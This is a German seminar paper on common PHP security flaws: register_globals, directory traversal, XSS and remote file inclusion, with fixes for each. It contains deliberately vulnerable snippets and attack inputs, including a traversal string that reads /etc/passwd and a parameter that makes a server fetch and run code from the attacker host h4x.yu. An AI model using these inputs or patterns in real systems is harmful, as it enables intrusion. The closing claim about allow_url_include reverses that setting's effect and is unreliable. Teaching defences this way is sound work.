PHP-(Un)Sicherheit

Tim Weber
<scy-talk-phpsecurity@scytale.de>

23. April 2007

PHP ist heute eine der verbreitetsten Scriptsprachen für Webanwendungen. Die leichte Erlernbarkeit sowohl für Programmieranfänger als auch für Fortgeschrittene, die gute Integration in beliebte Webserver-Software wie Apache oder IIS, die umfassende Funktionsbibliothek, die große Anzahl an frei verfügbaren, quelloffenen Scriptpaketen und nicht zuletzt die fast schon selbstverständliche Verfügbarkeit bei den meisten Webhostern sorgten für diese Verbreitung. Doch PHPs einsteigerfreundliche Lernkurve und Funktionsreichtum werden zu Lasten der Sicherheit erreicht und haben der Sprache den Ruf, die unsicherste Scriptsprache weltweit zu sein, eingebracht. In der Tat besitzen viele bekannte PHP-Anwendungen eine lange Liste von teils schweren Sicherheitslücken, und es tauchen täglich neue auf.

Dieses Paper soll einen Einblick in die am häufigsten auftretenden Sicherheitsprobleme beim Programmieren mit PHP geben; wie sie funktionieren, wie man sie erkennt und wie man sie vermeiden kann. Es richtet sich primär an Autoren von PHP-Software, bietet aber auch eine kurze Einführung für Personen, die bislang nur andere Programmiersprachen genutzt haben.

Inhaltsverzeichnis

1 Einleitung

1.1 Über diese Arbeit

Diese Ausarbeitung entstand im Herbstsemester 2006 im Rahmen des Hacker-Seminars des Lehrstuhls für Praktische Informatik I[1] an der Universität Mannheim[2]. Aktuelle Versionen der Vortragsfolien sowie dieses Dokumentes finden sich unter http://scytale.de/talks/phpsecurity/. Kommentare, Korrekturen, Anregungen und Ähnliches bitte per Mail an den Autor. Ich werde versuchen, auch Fragen zu beantworten, allerdings nur solche, die nicht durch das einfache Benutzen einer Suchmaschine geklärt werden können.

Es wird vorausgesetzt, dass der Leser grundlegendes Wissen über das Internet, das World Wide Web sowie funktionale Programmierung im Allgemeinen besitzt. PHP-Kenntnisse sollten *nicht* nötig sein, der Abschnitt 2.3 ab Seite 6 bietet einen kurzen Überblick über PHPs Eigenheiten in Bezug auf Syntax, Datentypen etc. Diese Informationen sollten ausreichen, um die hier beschriebenen Sicherheitslücken zu verstehen, sofern man bereits mit einer anderen funktionalen oder objektorientierten Programiersprache Erfahrungen gesammelt hat.

Der Abschnitt „SQL Injection“ setzt rudimentäres Verstehen von SQL-Ausdrücken voraus.

1.2 Danksagung

Es handelt sich hier zwar um eine relativ kleine Arbeit, trotzdem soll einigen Personen mein Dank ausgesprochen werden.

- Thorsten Holz für die Betreuung meines Vortrages und dieser Ausarbeitung, sowie für die Lockerheit trotz immer neuer Verzögerungen.
- Prof. Freiling und den Mitarbeitern des Lehrstuhls PI1 für frischen Wind in der Hochschulinformatik und eine praxisnahe, interessante Ausbildung.
- Dem Chaostreff Mannheim für die Initialzündung, Zeit in die Aufbereitung von Informationen für die Weiterbildung anderer Menschen zu investieren.
- yorn für ein paar interessante Kniffe im Bereich SQL-Injection.
- Icefeldt für die Katze im Kühlschrank und ihre Sippschaft.
- Frameset für seine Gelassenheit.
- Dem *DZCP*-Team für den enormen Unterhaltungswert, der nicht nur mich erheitert hat.
- Allen Entwicklern freier Software für das umwerfende Gesamtwerk.
- Tanja für ihr Verständnis und ihre Unterstützung.

[1] http://pi1.informatik.uni-mannheim.de/
[2] http://www.uni-mannheim.de/

2 Die Sprache PHP

PHP (früher eine Abkürzung für *Personal HomePage tools*, heute für *PHP Hypertext Preprocessor*) ist eine Open-Source-Scriptsprache, die ursprünglich zur Anreicherung von Websites mit dynamischen Inhalten entwickelt wurde. Dies ist auch heute noch ihr hauptsächlicher Einsatzzweck, obwohl es inzwischen Möglichkeiten gibt, Kommandozeilenscripts[3] oder GUI-Anwendungen[4] zu entwickeln. Die Syntax der Sprache ähnelt Java und Perl. PHP ist besonders bei Einsteigern in die Welt der Webprogrammierung oder sogar der Programmierung im Allgemeinen sehr beliebt. Die Gründe dafür sind hauptsächlich:

- Fast jeder Webspace-Anbieter unterstützt PHP-Scripts.
- Code muss nicht mühsam kompiliert werden, bereits mit einigen Zeilen kann man interessante Ergebnisse erzielen.
- Es existiert eine sehr große Entwicklergemeinde, massenhaft Literatur sowie eine große Anzahl an fertigen Codebeispielen und vollständigen Anwendungen.

Diese Beliebtheit und weite Verbreitung sorgen allerdings auch dafür, dass PHP-Scripts häufig zum Ziel von Angriffen werden.

2.1 Geschichte

PHP wurde in seiner ursprünglichen Form 1995 von Rasmus Lerdorf entwickelt, damals noch als lose Sammlung von Perl-Scripts, die den Zugriff auf Lerdorfs Online-Lebenslauf protokollieren sollten. Zwei Jahre später erschien PHP/FI (für *form interpreter*), eine in C verfasste und stark erweiterte Version. Nur ein gutes halbes Jahr später wurde das von Andi Gutmans und Zeev Suraski mit Kooperation von Lerdorf komplett neu geschriebene PHP 3 veröffentlicht und die Firma Zend Technologies Ltd. gegründet, deren *Zend Engine* die Basis für das 2000 erschienene PHP 4 und in der Version 2 für den heute aktuellen PHP 5-Zweig, der 2004 fertiggestellt wurde, bildet.

PHP 4 läutete den Anfang der Unterstützung für objektorientiertes Programmieren in PHP ein, beschränkte sich aber auf einige wenige Sprachkonstrukte, die keine ernsthafte Objektorientierung zuließen. Dies sollte sich in PHP 5 ändern, in dem unter anderem Sichtbarkeitsmodifikatoren für Variablen und Methoden sowie Exceptions eingeführt wurden. Außerdem erschien in PHP 5 ein neues objektorientiertes Interface für den Zugriff auf MySQL-Datenbanken (MySQLi), ein Reflection-API sowie SimpleXML, eine unperformante aber einfach zu benutzende Möglichkeit, XML-Daten als Objekte anzusprechen.

2.2 Ausführungsumgebung

Lässt man den verschwindend kleinen Teil der Fälle, in denen PHP für Befehlszeilen-Scripts oder eigenständige Anwendungen verwendet wird, außer Acht,

[3] http://php.net/manual/en/features.commandline.php
[4] http://gtk.php.net/

ist die Ausführungsumgebung für PHP-Code relativ identisch (hier vereinfacht dargestellt):

Ein Benutzer gibt eine Webadresse in seinen Browser ein (beispielsweise `http://example.com/news.php`). Der Webserver `example.com` wird kontaktiert und die Seite `/news.php` angefragt. Daraufhin sucht der Webserver innerhalb seines Document Root nach der Datei `news.php`. Das *Document Root* ist ein Verzeichnis auf dem Webserver, das als Wurzelverzeichnis (engl. *root directory*) für auszuliefernde Dokumente behandelt wird. Dateien, die in der Verzeichnishierarchie oberhalb des Document Root liegen, sind (normalerweise) nicht nach außen hin zugänglich. Damit wird eine Abschottung des restlichen Dateisystems realisiert. Sofern der Webserver die Datei nicht findet, wird eine Fehlermeldung generiert. Ansonsten wird die Anfrage dem PHP-Parser übergeben, der entweder als Modul in den Webserver integriert ist (z.B. `mod_php` für Apache) oder anderweitig aufgerufen wird (z.B. als CGI-Programm). Der PHP-Parser lädt die PHP-Datei und arbeitet den Code ab. Dabei stellt er dem Script einige Informationen über seine Ausführungsumgebung zur Verfügung (übergebene Parameter, Umgebungsvariablen, Request-Header etc.). Die Ausgabe des Scripts wird mit (bei Bedarf manipulierbaren) HTTP-Headern an den Webserver zurückgegeben und an den Client geschickt.

Document Root

Um ein paar weit verbreitete Falschinformationen gleich im Voraus aus dem Weg zu räumen:

- PHP-Scripts werden auf dem Server ausgeführt. Der Quellcode gelangt somit (außer bei Fehlkonfigurationen) nicht an den Client. Viele Anwendungen nutzen dies aus, indem sie z.B. Zugangsdaten zur Datenbank als PHP-Script speichern, in dem einfach nur Variablen gesetzt werden und das von der Anwendung eingebunden werden kann. Dabei muss man jedoch darauf achten, dass keine Schlupflöcher bestehen, über die die Datei als Quellcode gelesen werden kann.

- Wenn PHP installiert ist, werden (im Normalfall) nicht ausnahmslos alle Client-Anfragen vom PHP-Parser behandelt, sondern der Server entscheidet, welche Pfade zu PHP gehören und welche nicht (meist nach Dateiendung, seltener auch ganze Unterverzeichnisse oder Aliase).

- Das WWW ist grundsätzlich *zustandslos*. Während ein Besucher sich durch eine Website klickt, sieht der Server (und damit auch PHP) nur einzelne, unabhängige Zugriffe. Wenn es nötig ist, die Zugriffe einem bestimmten Nutzer zuzuordnen (z.B. für Zugriffsberechtigungen, mehrere Schritte eines Bestellvorgangs, Blättern durch Suchergebnisse etc.), ist es Aufgabe des Programmierers, eine Technik einzusetzen, die die Illusion von Zustandsinformationen schafft. Hier bieten sich beispielsweise Cookies oder die (auf Cookies oder halbautomatischer Generierung von Hyperlinks aufbauende) Session-Verwaltung von PHP an. Viele Entwickler vergessen, dass ein Benutzer nicht an eine bestimmte Zugriffsreihenfolge gebunden ist, sondern jederzeit bei jedem Script mit jedem möglichen Parameter „einsteigen“ kann.

- PHP-Scripts können nicht nur für Webseiten verwendet werden, sondern auch als Kommandozeilenprogramme oder gar grafische Anwendungen laufen.

2.3 Syntax, Datentypen und Eigenheiten

Bei PHP-Scripts handelt es sich um normale Textdateien. Da die Sprache ursprünglich entwickelt wurde, um größtenteils statisches HTML mit einigen interaktiven Elementen zu versehen, wird nur Text zwischen `<?php` und `?>` als Code verstanden und ausgeführt. Alles andere wird genau so, wie es in der Datei steht, zurückgegeben. Somit erzeugt beispielsweise der Code

```
<html><head>Test</head><body><?php echo(23-5); ?></body></html>
```

die Ausgabe

```
<html><head>Test</head><body>18</body></html>
```

PHP-Befehle werden (wie in Java) mit einem Semikolon beendet, Zeilenumbrüche und Einrückung dienen nur der besseren Lesbarkeit. Code-Blöcke werden von geschweiften Klammern umschlossen, Funktionsparameter folgen dem Namen in runden Klammern und mit Komma getrennt, benannte Parameter (wie z.B. in Python) sind nicht möglich, optionale hingegen schon. Variablen werden nicht deklariert, sondern einfach verwendet. Funktionsparameter sind nicht typisiert, mit Ausnahme des so genannten *Type Hinting* (Angeben eines Klassennamens), das jedoch nur für Klassen funktioniert. Ebensowenig existiert eine Typisierung für Rückgabewerte von Funktionen. Zwischen Datentypen (Strings, Zahlen, Arrays, Objekte, boolsche Werte, `null`) wird automatisch mehr oder weniger sinnvoll konvertiert. Eine Konvertierung zu einem bestimmten Typ erzwingt man, indem man dem Variablennamen einen Typbezeichner in runden Klammern voranstellt, z.B. `$n = (int)$string`.

Variablen beginnen unabhängig von ihrem Typ (String, Integer, Array, Objekt etc.) und Gültigkeitsbereich (lokal, global) mit einem Dollarzeichen, gefolgt von beliebigen Buchstaben, Ziffern, Unterstrichen und Sonderzeichen mit Bytewert `0x7f` bis `0xff`, wobei das erste Zeichen keine Ziffer sein darf. PHP-Bezeichner dürfen also durchaus Umlaute und andere Sonderzeichen enthalten. Für Funktions- und Klassennamen gelten die selben Regeln, sie beginnen jedoch nicht mit einem Dollarzeichen. Innerhalb von Funktionen sind alle verwendeten Variablen lokal, selbst dann, wenn sie im Hauptprogramm mit einem Wert belegt wurden (dieser ist dann in der Funktion nicht sichtbar). Möchte man in einer Funktion globale Variablen benutzen, so muss man sie mit dem Befehl `global` der Funktion bekannt machen.

Strings werden in doppelte oder einfache Anführungszeichen gesetzt. Der Unterschied besteht darin, dass in doppelten Anführungszeichen Variablen und viele Backslash-Kombinationen benutzt werden können (z.B. `"x = \"$x\"\n"`), in einfachen Anführungszeichen jedoch nur die Kombination `\'` zum Escapen der Anführungszeichen selbst.

Der Zuweisungsoperator ist das Gleichheitszeichen. Doppelte Gleichheitszeichen prüfen auf Äquivalenz, wobei auch Variablen verschiedener Typen äquivalent sein können (so ist z.B. `5 == '5'` ein wahrer Ausdruck). Soll auch der Typ identisch sein, benutzt man dreifache Gleichheitszeichen. Analog dazu existieren die Operatoren „nicht äquivalent“ (`!=`) und „nicht identisch“ (`!==`). Dieser Unterschied ist nicht zu unterschätzen. So gibt beispielsweise `strpos()`[5] die Position eines Strings innerhalb eines anderen zurück (wobei bei Null begonnen wird zu zählen), oder `false`, falls der String überhaupt nicht vorkommt. Da `false` äquivalent zu `0` ist, würde ein Ausdruck wie

```
if (strpos('abc', 'a') == false)   // oder auch !strpos(...)
```

fälschlicherweise davon ausgehen, dass das `a` nicht in `abc` enthalten ist.

Strings werden mit dem Operator `.` verkettet, nicht etwa mit `+`, das zu einer Konvertierung in Zahlenwerte mit darauf folgender Addition führen würde. So ist `'2'.'3' == '23'`, aber `'2'+'3' == 5` und `2 . 3 == 23` (nicht in die Komma-Falle tappen: `2.3 == 2.3`).

Ein Objekt wird mit `$x = new Foo($param);` erstellt, die Anzahl Parameter variiert dabei natürlich je nach Konstruktor. Zugriff auf Eigenschaften und Methoden eines Objektes erlangt man nicht durch den `.`-Operator, sondern durch den `->`-Operator, also z.B. `$x->size` oder `$x->run()`. Dabei ist zu beachten, dass auch bei Eigenschaften eines Objektes nach dem Pfeiloperator kein Dollarzeichen auftaucht. Statische Eigenschaften und Methoden werden über einen doppelten Doppelpunkt erreicht, z.B. `Foo::getVersion()`.

Es soll nicht unerwähnt bleiben, dass PHP kein „einfaches“ Überladen kennt, es ist also beispielsweise nicht möglich, eine Funktion oder Methode `x($a, $b)` und eine `x($a)` zu definieren. Benötigt man eine solche Funktionalität, muss man entweder auf optionale Parameter zurückgreifen (indem man in der Funktionsdeklaration nach dem Parameter ein Gleichheitszeichen und einen Standardwert angibt), oder aber kompliziertere Strukturen wie Overloading[6] verwenden.

In PHP werden einzeilige Kommentare mit `//` eingeleitet, mehrzeilige in `/*` und `*/` eingeschlossen. Eine Unterscheidung zwischen Arrays und Hashmaps existiert nicht, genausowenig wie eine im Voraus festgelegte Größe der Arrays. Als Schlüssel können sowohl Ganzzahlen („normales“ Array) als auch Strings („assoziatives Array“) verwendet werden. Ein Beispiel:

```
$x = array(3, 'cow', 17=>'hagbard', 'oh'=>0);
$x[] = 12;   // Wert an das Array anhängen
$x['oh'] = 'o';
```

Das Array hätte nun die folgenden Werte (jeweils Schlüssel=>Wert):

```
   0  =>  3
   1  =>  'cow'
  17  =>  'hagbard'
'oh'  =>  'o'
  18  =>  12
```

[5] http://php.net/manual/en/function.strpos.php
[6] http://php.net/manual/en/language.oop5.overloading.php

2.3.1 Daten von außen

Als Scriptsprache für das Web muss PHP natürlich umfassende Möglichkeiten bieten, auf übergebene Parameter aus URLs, Formularen, Cookies usw. zu reagieren. Dafür existieren so genannte *superglobale Arrays*, also Arrays, die selbst ohne die Einbindung mittels `global` überall verfügbar sind.

Je nach Übergabemethode der Parameter finden sich diese in einem anderen Array. Im Query-Abschnitt des URL übergebene Parameter werden in `$_GET`, via HTTP `POST` übergebene Parameter in `$_POST` abgelegt. Cookies finden sich in `$_COOKIE`, mit der PHP-Session-Verwaltung[7] angelegte Werte unter `$_SESSION`, Umgebungsvariablen in `$_ENV` und via `POST` hochgeladene Dateien in `$_FILES`. Für Anwendungen, die flexibel bei der Methode der Parameterübergabe sind, existiert `$_REQUEST`, das alle Einträge aus `$_GET`, `$_POST` und `$_COOKIE` vereint. Sollte dabei der selbe Schlüssel über mehrere Methoden übergeben worden sein, wird über die Konfigurationseinstellung `variables_order`[8] die Präzedenzreihenfolge festgelegt.

Außerdem finden sich in `$_SERVER` Informationen über den Webserver und die HTTP-Anfrage, beispielsweise der ungeparste Query-String („alles nach dem Fragezeichen“ im URL), übergebene HTTP-Header, das Document Root, URL- und Dateisystempfade, die Version der Serversoftware und vieles mehr.

Natürlich kann hier nur ein kurzer Einblick in die Sprache PHP und ihre Möglichkeiten und Eigenheiten gegeben werden. Wer tiefer einsteigen möchte, dem seien die auch auf deutsch verfügbare Anleitung[9], ein Tutorial wie z.B. das der deutschen PHP-Anwendergruppe im QuakeNet[10] oder eines der zahlreichen Bücher zum Thema ans Herz gelegt.

3 Sicherheitslücken und Angriffsszenarien

Bevor wir uns konkreten Beispielangriffen auf PHP-Scripts zuwenden, darf ein wichtiger Hinweis nicht fehlen: Alle folgenden Beispiele sind möglichst kurz konstruierte Schwachstellen. In der Realität sind die Lücken meist wesentlich schwerer zu finden, treten nur unter bestimmten Umständen auf oder werden erst beim Update auf eine neuere PHP-Version zum Problem. Außerdem gibt es natürlich nicht nur die hier aufgeführten Angriffe, sondern weit mehr mögliche Programmierfehler. Nicht zu unterschätzen sind auch Angriffe auf den PHP-Interpreter selbst: Buffer Overflows und ähnliche Attacken gegen den zu Grunde liegenden C-Code waren bislang in verschiedenen PHP-Versionen möglich. Gegen diese Art Angriffe schützt man sich am besten durch regelmäßige Updates oder durch Benutzen einer speziell abgesicherten PHP-Version, wie sie z.B. das *Hardened-PHP Project*[11] anbietet.

Betrachten wir nun also einige typische Programmierfehler und wie man sie vermeidet.

[7] http://php.net/manual/en/ref.session.php
[8] http://php.net/manual/en/ini.core.php#ini.variables-order
[9] http://php.net/manual/
[10] http://tut.php-q.net/
[11] http://www.hardened-php.net/

3.1 Fremdinitialisierte Variablen

Bis zur Version 4.2, die am 22. April 2002 veröffentlicht wurde, war die Konfigurationsoption `register_globals`[12] standardmäßig aktiviert. Diese Option sorgt dafür, dass zu jedem Schlüssel in `$_REQUEST` sowie zu Umgebungsvariablen, Session-Variablen und Cookies eine globale Variable eingeführt wird. Schickt der Aufrufer beispielsweise ein Cookie namens `foo` mit, die den String `bar` enthält, so hat dies den Effekt, als sei direkt vor dem Scriptaufruf eine globale Variable `$foo = 'bar'` definiert worden.

Viele PHP-Programmierer wussten bis zum Erscheinen von PHP 4.2 nicht einmal, dass dieses Verhalten optional war. Sie waren der Meinung, dass die globalen Variablen schlicht PHPs Art waren, von außen übergebene Daten zugänglich zu machen.

Das Problem mit `register_globals` wird dann einsehbar, wenn man den Fall der uninitialisierten Variablen betrachtet, deren Verwendung durch die „Lockerheit“ der PHP-Syntax geradezu gefördert wird. Da uninitialisierte Variablen vor der ersten Verwendung implizit der Wert `null` zugewiesen wird, das je nach Verwendung der Variablen auch automatisch zu `false` oder `0` ausgewertet werden kann, findet sich in einigen Programmen schlechter Code wie dieser hier:

```
if (auth_level() == 1000)
  $admin = true;

if ($admin)
  // Give admin privileges or menus etc.
```

Hier nutzt der Programmierer aus, dass die Variable `$admin` im uninitialisierten Zustand zu `false` evaluiert. Ist nun aber `register_globals` aktiv, so kann ein Angreifer beispielsweise einen *GET*-Parameter `admin=1` übergeben; `$admin` würde zu `true` evaluieren und der Angreifer könnte mit Adminprivilegien arbeiten.

Schutz gegen diese Art Angriff kann auf zweierlei Art erfolgen. Erstens natürlich, indem man auf Parameter mittels `$_GET` und Konsorten zugreift. Damit ist das geschriebene Script auch unabhängig von dem Wert von `register_globals` in der späteren Ausführungsumgebung, denn diese Art Zugriff funktioniert immer.

Zweitens sollte man sich angewöhnen, Variablen trotz der Lockerheit PHPs in dieser Hinsicht vor der ersten Benutzung zu initialisieren. Denn selbst wenn man mit `$_REQUEST` auf Parameter zugreift, sind bei aktiviertem `register_globals` in der Zielumgebung alle Variablen weiterhin angreifbar, beispielsweise in folgendem Code, der aus einer Menge Transaktionen auf einem Girokonto erst den aktuellen Kontostand und dann einen gutzuschreibenden Zinssatz berechnet:

```
$transactions = get_transactions($_SESSION['account']);

foreach ($transactions as $t)
  $sum = $sum + $t;
```

[12] http://php.net/manual/en/security.globals.php

```
$interest = $sum * 0.03;
// ...
```

Hier kann der Angreifer wieder z.B. einen *GET*-Parameter wie `sum=10000` übergeben. `$sum` wäre dann nicht implizit mit `null` initialisiert (das im Falle einer Addition zu `0` konvertiert wird), sondern mit dem String `'10000'` (der bei der Addition zu seinem Zahlenwert konvertiert wird). Somit würde die Zinssatzberechnung 10.000 Währungseinheiten mehr in Betracht ziehen. Ein einfaches Initialisieren der Variable mit `$sum = 0` schließt die Lücke.

3.2 File Disclosure / Directory Traversal

Wird aus Eingaben des Benutzers ein Dateiname konstruiert, so gilt es besondere Schutzmaßnahmen zu implementieren, um zu verhindern, dass ein Angreifer Zugriff auf fremde Daten bekommt oder den Dateinamen anderweitig in nicht vorgesehener Weise manipuliert. Das Problem versteht man am besten an einem Beispiel:

```
<html><head><title>My cool web page</title></head><body><?php
  include('menu.html');
  include($_GET['page']);
?></body></html>
```

Dieser Einsatz von PHP erinnert stark an sogenannte Server Side Includes[13]: Einige Webserver unterstützen spezielle Tags innerhalb von HTML-Seiten, um beispielsweise andere Dateien serverseitig einzubinden. So kann man beispielsweise auf verschiedenen Unterseiten ein zentrales Menü o.ä. einbinden. Hier wird PHP als eine Art besseres SSI[14] benutzt, um auf jeder Seite das selbe Grundgerüst und Menü zu erhalten. Allerdings bindet nicht jede Unterseite das zentrale Grundgerüst ein, sondern die zentrale Datei bindet an der passenden Stelle die per Parameter übergebene Datei ein. Die einzelnen Links haben bei solchen Websites meist die Form *index.php?page=news.php*; in `news.php` steht dann der eigentliche Inhalt.

Bei diesem Code treten zweierlei Probleme auf. Erstens benutzt der Autor `include()` zur Einbindung von statischen Seiten, was nicht nur unperformant ist (die komplette statische Seite wird bei jedem Aufruf auf PHP-Code geparst), sondern auch unnötigerweise eine weitere Angriffsmöglichkeit öffnet, nämlich das Ausführen von PHP-Code, sollte jemand die Möglichkeit erhalten, die „statische“ Seite zu beschreiben.

Zweitens jedoch wird der *page*-Parameter in keinster Weise überprüft. Ein Angreifer könnte nun beispielsweise den String *../../../../../../etc/passwd* übergeben und sich so die Datei `/etc/passwd` ausgeben lassen (unter der Annahme, dass der Webserver mit einem unixartigen Betriebssystem läuft). Das funktioniert aus zwei Gründen:

[13] http://de.wikipedia.org/wiki/Server_Side_Includes
[14] http://de.wikipedia.org/wiki/Server_Side_Includes

- Der Eintrag `..` existiert in jedem Verzeichnis und verweist auf das jeweils darüber liegende Verzeichnis. So entspricht */etc/init.d/../apache2* dem Verzeichnis */etc/apache2*. Der Angreifer muss die genaue Anzahl der `../` nicht kennen, da auch das Wurzelverzeichnis einen auf sich selbst verweisenden `..`-Eintrag besitzt.

- Die Datei */etc/passwd* enthält keinen gültigen PHP-Code. Das ist aber auch nicht weiter wichtig, da Dateiinhalt, der nicht in `<?php`-Tags steht, einfach ausgegeben wird.

Diese Art von Sicherheitslücken ist auch deshalb besonders heimtückisch, weil der Angreifer im Allgemeinen keine Quellcodekenntnis benötigt; dass die Seite angreifbar ist, ist aus den Parametern im URL ersichtlich.

Dabei ist es relativ einfach, sich zu schützen. Zunächst einmal sollte für statische Seiten `readfile()` benutzt werden statt `include()` oder vergleichbaren Befehlen[15]. Das eigentliche Problem des Directory Traversal löst man am besten, indem man beispielsweise die Zeichenfolge `../` aus der Benutzereingabe entfernt[16]:

```
$file = str_replace('../', '', $_GET['file']);
```

Dieser Ansatz entspricht dem *Blacklist*-Prinzip: Alle Daten, die einem bestimmten Muster entsprechen, werden entfernt.

Noch besser lässt sich das Script schützen, wenn Dateien nicht in Unterverzeichnissen liegen (einfach jegliche Slashes entfernen) oder wenn die Dateinamen nur einen gewissen Zeichenvorrat nutzen (z.B. alphanumerisch):

```
$file = preg_replace('/[^a-zA-Z0-9.]/', '', $_GET['file']);
```

Dieser Code entfernt alle Zeichen, die nicht in der angegebenen Menge enthalten sind, aus dem Parameter, verfolgt also den *Whitelist*-Ansatz.

3.3 Cross-Site Scripting (XSS)

Damit bezeichnet man das Einfügen bzw. Einbinden von Code auf fremden Websites. Da die Abkürzung *CSS* bereits für die Formatierungssprache Cascading Style Sheets[17] verwendet wird, hat sich *XSS* eingebürgert. Generell unterscheidet man diese Art Angriff nach dem Ausführungsort des Codes. Wird der Browser eines Benutzers der fremden Website dazu gebracht, böswilligen Code im Sicherheitskontext jener Website auszuführen, so spricht man von *clientseitigem* XSS. Führt stattdessen der Server der angegriffenen Site den Code aus, so handelt es sich um *serverseitiges* XSS. Letzteres ist auch unter dem Namen *Remote Code Execution*, *Remote File Inclusion* oder *Code Injection* bekannt.

[15] also `include_once()`, `require()` und `require_once()`

[16] Besteht die Möglichkeit, dass das Script unter Windows ausgeführt wird, sollte man auch an Backslashes denken.

[17] http://de.wikipedia.org/wiki/Cascading_Style_Sheets

3.3.1 XSS auf Clientseite

Diversen Statistiken zufolge sind über 70% aller Websites verwundbar für Cross-Site Scripting[18]. Der Angriff besteht darin, an irgendeiner verwundbaren Stelle HTML-Code einzugeben, der von der Website nicht gefiltert und entweder direkt als „Antwort“ wieder zurück geschickt oder permanent, auch für andere Benutzer anzeigbar, gespeichert wird. Hat man dies erreicht, so wird der HTML-Code durch den Browser des Opfers ausgeführt, als würde er zur angegriffenen Website gehören. Damit erlangt dieser Code beispielsweise mittels JavaScript Zugriff auf die Cookies des Benutzers, und kann sie an den Angreifer zurück schicken.

Kann beispielsweise ein Benutzer eines Forumsystems als Benutzername `<!--` eintragen, und wird dieser Benutzername bei jedem seiner Posts ausgegeben (wovon man ausgehen kann), so sorgt dieser HTML-Code dafür, dass der Rest der Seite als Kommentar aufgefasst und nicht angezeigt wird. Natürlich hindert den Benutzer auch nichts daran, als Namen in ein `<script>`-Tag eingebundenen JavaScript-Code zu verwenden, der beispielsweise im Hintergrund, von den Nutzern des Forums unbemerkt, ausgeführt wird.

Die einfachste Abwehr gegen diese Angriffe besteht darin, alle HTML-Benutzereingaben mittels `htmlspecialchars()` zu bereinigen. Diese Funktion ersetzt unter anderem die Zeichen `<` und `>` durch ihre korrekten Entities (`&lt;` und `&gt;`).

Problematisch wird es allerdings dann, wenn *bestimmte* HTML-Codes zugelassen werden sollen, z.B. um den Forenbenutzern begrenzte Möglichkeiten zur Gestaltung oder zum Einbinden von Hyperlinks zu geben. In diesem Fall muss man „bösartigen“ von „gutartigem“ Code unterscheiden können. Hier muss man allerdings bedenken, dass Browser erstens viele syntaktisch eigentlich inkorrekte Konstruktionen „großzügig“ parsen und trotzdem ausführen; somit haben Filter, die darauf basieren, dass der Schadcode standardkonformes HTML ist, keine Chance. Zweitens haben Browser des öfteren exotische Bugs, die ebenfalls ausnutzbar sind.[19] So ignoriert der Internet Explorer beispielsweise bei als *US-ASCII* kodierten Seiten das höchstwertige Bit jedes Bytes. Ein `<` kann somit nicht nur als Bytewert 60, sondern auch als 188 dargestellt werden (im Latin 1-Zeichensatz das Zeichen $\frac{1}{4}$.

Hier gilt als oberste Regel: Whitelists statt Blacklists. Das bedeutet: Anstatt davon auszugehen, alle Schadcodes *heraus*filtern zu können, sollte man als Grundeinstellung überhaupt keinen HTML-Code zulassen, und nur sehr eng eingegrenzte Ausnahmen definieren, die verwendet werden können.

3.3.2 XSS auf Serverseite

Hier führt der angegriffene Webserver den Code im Sicherheitskontext des verwundbaren Scripts aus, so als würde der Schadcode direkt zum Script gehören.

[18] Quelle z.B. White Hat Security, s. http://www.darkreading.com/document.asp?doc_id=111482

[19] Eine ausführliche Übersicht zum Thema „Filterüberwindung“ findet sich auf http://hackers.org/xss.html.

Das bedeutet, dass der Angreifer Variablen und andere Informationen des momentan laufenden Scripts auslesen und verändern kann. Außerdem erhält der Angreifer Zugriff auf lokale Sockets und das lokale Dateisystem im selben Umfang wie das angegriffene Script. Dies sind mindestens alle direkt zur Anwendung gehörenden Dateien (auch z.B. Konfigurationsdateien mit Zugangsdaten zur Datenbank), im Normalfall alle Webdateien des selben Benutzers (z.B. bei Massenhostern), manchmal auch alle Webdateien sämtlicher Benutzer.

Als Beispiel dient der folgende Code:

```
<html><head><title>My cool web site</title></head><body><?php
  include($_GET['page'].'.php');
?></body></html>
```

Diese Lücke erinnert nur allzu deutlich an Directory Traversal-Angriffe. Durch das Suffix `.php`, das an alle Dateinamen angehängt wird, sind die Möglichkeiten des Angreifers allerdings etwas eingeschränkt, zumindest was Directory Traversal angeht. Dieser Code birgt jedoch eine zweite, viel schwerere Lücke, durch die der Angreifer beliebigen Schadcode ausführen kann. Einzige Voraussetzung ist die Konfigurationseinstellung `allow_url_fopen`, die die sogenannten *fopen-Wrapper*[20] steuern. Dahinter verbirgt sich die (oft recht praktische) Möglichkeit, diversen PHP-Funktionen für Dateiein- und -ausgabe statt lokalen Dateinamen URLs zu übergeben. Somit muss nicht erst ein HTTP-Client implementiert werden, um auf den Inhalt einer Website zugreifen zu können, ein simpler Aufruf von

allow_url_fopen

fopen-Wrapper

```
$text = file_get_contents('http://scytale.de/index.html');
```

reicht aus.

Leider kennen viele Entwickler diese Fähigkeiten nicht oder vergessen sie allzu häufig. Dies führt dazu, dass durch unzureichend gefilterte Eingaben Angreifer Dateien auf fremden Webservern einbinden können. Im obigen Beispiel könnte der Angreifer den Parameter *page=http://h4x.yu/omg* übergeben. Mit aktiviertem `allow_url_fopen` würde der angegriffene Webserver die Datei `omg.php` auf dem Server `h4x.yu` nachladen und wie eine lokale Datei interpretieren und ausführen. Somit kann der Angreifer den Webserver zur Ausführung beliebigen Codes bringen.

Man könnte jetzt argumentieren, dass der PHP-Code beim HTTP-Zugriff auf `h4x.yu` bereits auf dem dortigen Webserver ausgeführt wird und nur HTML zurückgegeben wird. Das mag normalerweise stimmen, der Angreifer hat aber diverse Möglichkeiten, die lokale Ausführung zu umgehen:

- Er erstellt ein PHP-Script, das selbst wiederum PHP-Code ausgibt, z.B.

  ```
  <?php echo('<?php phpinfo(); ?>'); ?>
  ```

- Er verwendet eine `.htaccess`-Datei, die seinen Webserver anweist, diese PHP-Datei nicht auszuführen:

[20] http://php.net/manual/en/wrappers.php

```
AddType text/plain .php
```

- Er benutzt einen Webserver, der kein PHP unterstützt.

Diese Art von Lücke lässt sich relativ einfach schließen, indem man fopen-Wrapper deaktiviert oder Doppelpunkte und/oder Slashes aus den Dateinamen entfernt. `allow_url_fopen` lässt sich leider nicht mittels `ini_set()` zur Laufzeit an- und abschalten[21]; somit ist das standardmäßige Deaktivieren am Anfang eines Scripts nicht möglich.

Seit PHP 5.2 gibt es allerdings die zusätzliche Konfigurations-Einstellung `allow_url_include`, die ebenfalls nicht vom Script selbst veränderbar ist. Ist diese gesetzt, sind fopen-Wrapper für `include()` und und ähnliche Funktionen deaktiviert. Die Einstellung ist standardmäßig deaktiviert, sodass zumindest Vorsorge gegen die gröbsten Fahrlässigkeiten getroffen wird.

